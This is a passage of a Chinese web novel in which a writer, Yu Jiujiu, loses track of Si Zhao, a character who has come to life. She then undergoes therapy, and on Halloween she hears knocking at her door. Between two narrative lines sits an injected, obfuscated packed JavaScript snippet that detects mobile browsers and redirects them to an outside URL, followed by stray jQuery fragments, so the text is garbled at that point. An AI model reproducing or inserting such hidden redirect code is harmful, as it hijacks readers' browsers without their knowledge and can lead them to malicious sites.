“那我会在未来写死你。”
“就在3月的第一天。”
在三月的第一天写死我吗？
司钊久久沉默，藏住那一双泛光的红瞳。
那双眼睛的红光似乎鬼魅般亮起，又是窥魂！
郁酒酒捂住双眼，“司钊，你又想偷看我的灵魂？！”
司钊定定地盯了她一眼，连门也不走——明明肩背挺直，却好似失魂落魄般，要撞进墙里。
偷窥别人隐私居然还要先生气！不可理喻！
郁酒酒气得不想说话，虽然是她先威胁他。
算了。
司钊背影太过决绝，郁酒酒小跑着追上去，“你现在灵力被封，你打算去哪儿？你目前没有办法回去的！”
“如何呢？”司钊脚步不停。
“你想回家吗？我可以送你。”
“家？作者大人，我的家在哪儿啊？”司钊轻叹：“魔域三百七十六万里，入目所见唯有血和白骨，那个地方不是我的家。”
司钊分明动了气，却还是有问必答，郑重声明：“那里不是家。我也想问问您，我的作者大人，我的家在哪儿？”
是啊。他的家在哪儿呢。
一出生便被父亲抛弃你，母亲带着他颠沛流离，在他年幼时，离他而去。他盘踞在北境，是因为北境无人，他不会被驱逐。
但那里不是家，他从出生起，就一直在流浪。
郁酒酒没再说话。
司钊并没有像郁酒酒猜想那般穿墙而过，他忽然就消失了，什么也没留下。
“就这样离开了吗？”郁酒酒眨着眼睛：“你会回来的。如果你愿意，这里会是你的家，我的家就是你的家。”
似乎说的有些晚了呢。郁酒酒有些想哭。
明明留下司钊会带来无穷无尽的麻烦，但她还是忍不住地关心他。
这很不合理，郁酒酒想。
为什么一次次纵容，为什么会不舍？她知道答案。
大概是因为——
没有一个作者不会爱自己笔下的人物，更何况当他活生生地降临在眼前。
谁又能移开目光，不望他眼眸。
-
一个小时、两个小时。
郁酒酒搁下iPad，十来个分屏里，没有一个监控视角能望见司钊的影子。
“对不起。”郁酒酒轻轻说，“我不该和你吵架的。”
如今的你是灵体，灵力又被禁锢，真身拘在《不羡》里。
如此崭新而陌生的世界，你要怎么办？
而我又要如何找到你？
角落里，手机屏幕闪闪光亮，指出了一个方向。
郁酒酒叹气，明明打算再也不写《司钊手记》了。
她捧起手机，郑重敲下每一个字，认真地写下一封道歉信。
【2024年2月9日深夜】
【念及作者大人思我念我，等我归家，我是否不忍、不愿离她远去？
作者大人郑重允诺，同我致歉，我能否思虑归家？】
郁酒酒选择问号。
司钊，这一次，我给你一切选择的权利。
也许我从来不曾创造你。
毕竟一个人是无法创造另一个人的。
-
天光微亮，郁酒酒不小心打了个盹，醒来时没等到司钊，倒是等来了睡眼惺忪、宛若智障的程陆。
程陆光着脚从楼梯上似摔未摔地走下来，瞳孔瞬时放大。
“酒酒？你过来伦萨了吗……”
程陆打量着家里的装饰，强制开机后，惊道：“ohmygod！酒酒你是不是让叔叔把我绑过来？因为我并不相信那位司钊？”
毕竟这样的事有过先例，程陆十五岁那一年，和郁酒酒吵过一架，他拒不认错。
等到一夜醒来，他出现在了大洋彼岸的郁酒酒家。
自家老爸和酒酒老爸相谈甚欢，而他——和大小姐大眼瞪小眼，谁也没说话。直到自己老爸一巴掌拍下来，他挤出一句对不起。大小姐的眼底才染了笑意。
“你疯啦。”郁酒酒声音平静。
“快告诉我。”程陆抓住她的肩膀，祈求道：“大小姐，告诉我吧。我怎么一天之内漂洋过海到了这！难道又是我爸？”
“咳咳……说来话长。”郁酒酒拍了拍他的手，“多大点事，放松。”
“给你一个解释的机会嗷。”程陆睨她一眼。
“你自己来的，和我一起见到了司钊。你为了保护我，被他揍。我为了保护你，把身无一物的小可怜逐出家门，唉……程陆，你说孩子不回家，我要怎么办？”
程陆懵道：“哈？”
在涉及郁酒酒精神和幻想的一切问题上，程陆从不玩笑，他认真地盯着她，小心翼翼地问：“酒酒，你最近有吃药没？有没有打算看看医生？我有认识的老师。”
“程陆你大爷！”郁酒酒大叫道。
那日后来，生活似乎恢复到了从前。
郁酒酒再也没见到司钊，不论是哪一位。
程陆只是一时兴起，过了周末，便坐上回伦萨的飞机，甚至吐槽郁酒酒不送他。
走的时候程陆莫名其妙地说：“酒酒，我们可能会有一段时间见不到，但是你相信，我有在一直努力来到你身边。”
郁酒酒面对肉麻，无能为力，小吐而已。
但程陆从未如此郑重，“信我，别吐。”
就这样，郁酒酒又是一个人了。
郁酒酒想——
时间啊，总是让人遗忘太多，却偏偏留下一些莫名其妙的锚点。
偏偏叫她永远记得，那一天是2024年2月9日。
也许是因为《司钊手记》中【2月9日-30日】的错误日期。
这一条司钊写下的小住并没有发生。
哪怕保存了也没有发生。
一切平静地像无风时的水面，映着世界的一切。
自从司钊闯入又退出她的生活，好像什么都没变，又好像什么都没变。
那天为司钊买的草莓在冰箱里放到不新鲜、腐败。
郁酒酒许诺的陪司钊玩一场的诺言同样在时间里腐烂。
郁酒酒平静而用力地生活在每一个日出日落。
她希冀每一个雪夜的降临，同样惊惧任何时间、任何地点的敲门声。
外卖上、快递上统统备注着不要敲门。
然而什么也没有发生。
终于，在某一个惊醒的夜晚。郁酒酒抱着被子沉思许久——长期失眠，极易陷入惊惧，越来越讨厌城市、人群……
她不能再如此下去了。
天亮后，郁酒酒踏进程陆推荐的心理工作室。岑医生是位资深的咨询师，只是她从未听程陆提起过。
咨询、吃饭、吃药、睡觉。
循环
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026401|194431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又循环。
几个月的心理咨询带走时间，郁酒酒开始承认那些匪夷所思的故事或许是一个梦、一种幻觉，甚至是精神分裂的前兆。
她向来很听话，积极地配合治疗。
春季开学后，郁酒酒办理休学申请，计划提着行李离开沧州。
离开那天，她最后一眼回望向那处曾发生一切的别墅。
不过是一场梦的相逢，同《牡丹亭》中丽娘的那一场梦一般梦醒，只不过她不会在现实里遇到杜郎，也不会去死，更不愿意做鬼。
可偏偏她把司钊写成了鬼……
距离飞机起飞的时间越来越近，郁酒酒站着不动，望着那扇大门，望着司钊从时空漩涡里走来，化作光雾，出现在门前。
他一会儿是白发白裳，一会儿是黑发红衣。
他一会儿在笑，一会儿在冷眼旁观。
他抬起手，轻轻叩了叩门。
他问：“您看见我的作者大人了吗？”
郁酒酒呢喃：“我是。”
他又说：“找到您了。”
郁酒酒感叹：“你终于找到我了，好久不见。”
可是她不曾听见敲门声，眼神一晃，什么也看不见了。
她站在门前的鹅卵石小道上，望着雪落下，风吹起。
司机站在车子旁等她，那她呢？她在等什么？
或许在等待，或许在遗忘。
等待钟声敲响，雪一同落下，等待同上一年一样荒芜的雪夜。
等待……
沉闷的敲门声再一次传来。
-
郁酒酒没能在那一天离开沧州。
时间就这样过去。
10月31日，万圣夜，满地南瓜灯，毛绒编织的蛛网挂在电视上，客厅里，郁酒酒坐在地毯上，出神地盯着手里的蜡烛。
火焰跃动，檀香弥漫。
郁酒酒伸手感受着火的温度，不忘挖一口栗子蛋糕，仔细品尝后，得出太甜的结论。
不知道司钊会不会喜欢？
她自嘲自笑，怎么又想起他。
小幽灵蛋糕上的乌黑眼睛，直直地望着郁酒酒。她插上蜡烛，点了好几根。
郁酒酒饱含着无限真诚与热意，说：“司钊，HappyHalloween！”
“万圣夜快乐！”
“堕鬼司钊也要在万圣夜的快乐，每一岁的司钊都快乐。”
“今天不是许愿的节日，但我想许一个愿望，我还是有点想见你。”
“以及希望我的咨询师永远不会知道我今晚的愿望。”
她喝过酒，一定要吹灭蜡烛。火焰太过倔强，郁酒酒吹了三次才吹灭。
她就要坠入梦里去。
“咚——咚——咚——”
零点了么？
“幻听。”郁酒酒摇了摇头，熟练地戴上降噪耳机，堵住耳朵，笑了声，“我明明吃过药了，居然还是幻听。对了，吃药不能喝酒……”
她有些恍惚——
往常来源于脑内的敲门声总是很漫长，这次暂停得这样快？
难道不是幻听吗？
郁酒酒试探着摘下耳机，这样安静的世界，应该只能听见风声。
下一刻——
“咚——咚咚——”
清楚的敲门声同世界的喧嚣一起抵达耳畔，任声音纷纷扰扰，郁酒酒又惊又喜地朝门口跑去——